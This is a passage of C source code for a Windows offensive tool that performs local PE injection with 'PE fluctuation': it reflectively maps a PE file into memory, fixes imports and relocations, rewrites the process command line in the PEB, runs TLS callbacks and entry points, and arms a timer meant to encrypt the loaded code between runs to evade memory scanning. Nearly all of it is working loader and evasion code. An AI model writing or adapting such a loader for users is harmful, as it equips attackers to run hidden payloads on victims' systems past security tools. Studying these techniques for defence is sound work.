// Convert cArgs from char to wchar
CharStringToWCharString(wArgumentsToPass, cArgs, wArgsByteLen);
// Allocate buffer for full command line: "<ImagePath>" <args> + null terminator
// ImagePathName.Length is in bytes -- divide by sizeof(WCHAR) for char count
// +4 for the two quote chars, one space, and one null terminator
SIZE_T wNewCmdCharCount = (pParam->ImagePathName.Length / sizeof(WCHAR)) + wcslen(wArgumentsToPass) + 4;
wNewCommand = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wNewCmdCharCount * sizeof(WCHAR));
if (!wNewCommand) {
printf("[!] HeapAlloc Failed: %d \n", GetLastError());
HeapFree(GetProcessHeap(), 0, wArgumentsToPass);
return;
}
// Build the full command line string
wsprintfW(wNewCommand, L"\"%s\" %s", pParam->ImagePathName.Buffer, wArgumentsToPass);
// Overwrite PEB command line with the new value
lstrcpyW(pParam->CommandLine.Buffer, wNewCommand);
// Length excludes null terminator, MaximumLength includes it
pParam->CommandLine.Length = (USHORT)(wcslen(pParam->CommandLine.Buffer) * sizeof(WCHAR));
pParam->CommandLine.MaximumLength = pParam->CommandLine.Length + sizeof(WCHAR);
HeapFree(GetProcessHeap(), 0, wArgumentsToPass);
HeapFree(GetProcessHeap(), 0, wNewCommand);
return;
}
// No arguments provided -- overwrite command line with image path only
lstrcpyW(pParam->CommandLine.Buffer, pParam->ImagePathName.Buffer);
// Length excludes null terminator, MaximumLength includes it
pParam->CommandLine.Length = (USHORT)(wcslen(pParam->CommandLine.Buffer) * sizeof(WCHAR));
pParam->CommandLine.MaximumLength = pParam->CommandLine.Length + sizeof(WCHAR);
}
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo);
/*
Local PE Injection with PE Fluctuation
pPeHdr -> Pointer to PE_HDR structure populated by ParsePEStruct()
cFuncName -> Exported function name to call (DLL only; NULL invokes DllMain)
cArgs -> Command-line arguments to pass (EXE only; NULL for none)
*/
BOOL PE_Fluctuation(_In_ PPE_HDR pPeHdr, _In_opt_ LPCSTR cFuncName, _In_opt_ LPCSTR cArgs) {
PBYTE pPeBaseAddress = NULL;
PVOID pEntryPoint = NULL;
PVOID pVeHandler = NULL;
// Check if parameter is not zero
if (!pPeHdr)
return FALSE;
// Allocate memory for PE image
if ((pPeBaseAddress = VirtualAlloc(NULL, pPeHdr->pImgNtHdr->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
printf("[!] VirtualAlloc Failed: %d\n", GetLastError());
return FALSE;
}
printf("[i] Base Address: 0x%p \n", pPeBaseAddress);
printf("[i] Image Size: %d \n", pPeHdr->pImgNtHdr->OptionalHeader.SizeOfImage);
// Copy sections
for (int i = 0; i < pPeHdr->pImgNtHdr->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdr->pImgSecHdr[i].VirtualAddress),
(PVOID)(pPeHdr->pFileBuffer + pPeHdr->pImgSecHdr[i].PointerToRawData),
pPeHdr->pImgSecHdr[i].SizeOfRawData
);
}
// Resolve imports
printf("[i] Resolving Imports ... \n");
if (!InitIAT(pPeHdr->pEntryImportDataDir, pPeBaseAddress))
return FALSE;
printf("[+] DONE \n");
// Apply relocations
printf("[i] Resolving Relocations ... \n");
if (!ApplyReloc(pPeHdr->pEntryBaseRelocDataDir, pPeBaseAddress, pPeHdr->pImgNtHdr->OptionalHeader.ImageBase))
return FALSE;
printf("[+] DONE \n");
// Fix memory permissions
printf("[i] Setting Memory Permissions ... \n");
if (!FixMemPermissions(pPeBaseAddress, pPeHdr->pImgNtHdr, pPeHdr->pImgSecHdr))
return FALSE;
printf("[+] DONE \n");
printf("[i] Performing PE Fluctuation on: 0x%p [ %ld ] \n", g_uPeRXAddress, g_sPeRXSize);
if (!g_uPeRXAddress || !g_sPeRXSize)
return FALSE;
// Register the PE's exception handlers (if present)
if (pPeHdr->pEntryExceptionDataDir->Size) {
printf("[i] Registering PE's Exception Handlers ...\n");
PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + pPeHdr->pEntryExceptionDataDir->VirtualAddress);
if (!RtlAddFunctionTable(pImgRuntimeFuncEntry, (pPeHdr->pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)), pPeBaseAddress)) {
printf("[!] RtlAddFunctionTable Failed: %d\n", GetLastError());
}
printf("[+] DONE \n");
}
// Register VEH before executing anything
if (!(pVeHandler = AddVectoredExceptionHandler(0x01, VectoredExceptionHandler))) {
printf("[!] AddVectoredExceptionHandler Failed: %d \n", GetLastError());
return FALSE;
}
// Execute TLS callbacks (if present)
if (pPeHdr->pEntryTLSDataDir->Size) {
printf("[i] Executing TLS Callbacks ... \n");
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + pPeHdr->pEntryTLSDataDir->VirtualAddress);
PIMAGE_TLS_CALLBACK* pImgTlsCallback = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
CONTEXT pCtx = { 0x00 };
for (int i = 0; pImgTlsCallback[i] != NULL; i++) {
pImgTlsCallback[i]((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, &pCtx);
}
printf("[+] DONE \n");
}
pEntryPoint = (PVOID)(pPeBaseAddress + pPeHdr->pImgNtHdr->OptionalHeader.AddressOfEntryPoint);
// Create the timer queue
if (!(g_hTimerQueue = CreateTimerQueue())) {
printf("[!] CreateTimerQueue Failed: %d \n", GetLastError());
return FALSE;
}
// Arm the first encryption timer
if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, PE_EXPOSURE * 1000, 0x00, 0x00)) {
printf("[!] CreateTimerQueueTimer Failed: %d \n", GetLastError());
return FALSE;
}
printf("[*] Executing Entry Point [ 0x%p ]:\n\n", pEntryPoint);
if (pPeHdr->pImgNtHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) {
if (cFuncName) {
PVOID pFunc = GetDllFunctionAddrs(pPeHdr->pEntryExportDataDir, (ULONG_PTR)pPeBaseAddress, cFuncName);
if (!pFunc) {
printf("[!] GetDllFunctionAddrs Failed: export '%s' not found \n", cFuncName);
return FALSE;
}
((DLLMAIN)pEntryPoint)((HINSTANCE)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
((VOID(*)())pFunc)();
}
else {
((DLLMAIN)pEntryPoint)((HINSTANCE)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
}
}
else {
FixArgs(cArgs);
(*(VOID(*)()) pEntryPoint)();
}
return TRUE;
}
/*
Parses command-line arguments and extracts the -pe, -fptr, and -parm flags.
argc -> Argument count from main
argv -> Argument vector from main
ppe_arg -> Receives pointer to the -pe value (path to PE file)
pfptr_arg -> Receives pointer to the -fptr value (exported function name)
pparm_arg -> Receives pointer to the heap-allocated -parm string, or NULL if not provided
*/
BOOL HandleCmdLineArgs(int argc, char* argv[], char** ppe_arg, char** pfptr_arg, char** pparm_arg) {
if (!argv || !ppe_arg || !pfptr_arg || !pparm_arg)
return FALSE;
char* pe_arg = NULL;
char* fptr_arg = NULL;
char* parm_arg = NULL;
char* parm_buffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 2);
if (!parm_buffer)
return FALSE;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-pe") == 0 && i + 1 < argc) {
pe_arg = argv[++i];
}
else if (strcmp(argv[i], "-fptr") == 0 && i + 1 < argc) {
fptr_arg = argv[++i];
}
else if (strcmp(argv[i], "-parm") == 0 && i + 1 < argc) {
parm_arg = parm_buffer;
strcpy_s(parm_arg, 1024 * 2, argv[++i]);
while (i + 1 < argc && argv[i + 1][0] != '-') {
strcat_s(parm_arg, 1024 * 2, " ");
strcat_s(parm_arg, 1024 * 2, argv[++i]);
}
}
}
*ppe_arg = pe_arg;
*pfptr_arg = fptr_arg;
*pparm_arg = parm_arg;
if (!parm_arg)
HeapFree(GetProcessHeap(), 0, parm_buffer);
return TRUE;
}
// Thanks to: VX-Underground
SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, _In_ SIZE_T MaximumAllowed) {
INT Length = (INT)MaximumAllowed;
while (--Length >= 0) {
if (!(*Destination++ = *Source++))
return MaximumAllowed - Length - 1;
}
return MaximumAllowed - Length;
}
static inline LPCSTR GetFileName(_In_ LPCSTR cPath) {
LPCSTR pSlash = strrchr(cPath, '\\');
return pSlash ? pSlash + 1 : cPath;
}
int main(int argc, char* argv[]) {
char* pe_arg = NULL;
char* fptr_arg = NULL;
char* parm_arg = NULL;
HandleCmdLineArgs(argc, argv, &pe_arg, &fptr_arg, &parm_arg);
LPCSTR cBinaryName = GetFileName(argv[0]);
if (!pe_arg) {
printf("[!] Usage: %s -pe <Input PE> -fptr <*optional*: Exported function> -parm <*optional*: Arguments to pass> \n", cBinaryName);
printf("\t<i> e.g. %s -pe DllMsgBox.dll -fptr HelloWorld \n", cBinaryName);
printf("\t<i> e.g. %s -pe DllMsgBox.dll \n", cBinaryName);
printf("\t<i> e.g. %s -pe ExeMsgBox.exe \n", cBinaryName);
printf("\t<i> e.g. %s -pe ExeArgs.exe -parm this is a command line arg \n", cBinaryName);
printf("\n\n");
return -1;
}
PBYTE pFileBuffer = NULL;
DWORD dwFileSize = 0x00;
PE_HDR pPeHdrStruct = { 0 };
if (!ReadFileDisk(pe_arg, &pFileBuffer, &dwFileSize))
return -1;
if (!ParsePEStruct(&pPeHdrStruct, pFileBuffer, dwFileSize))
return -1;
PE_Fluctuation(&pPeHdrStruct, fptr_arg, parm_arg);
return 0;
}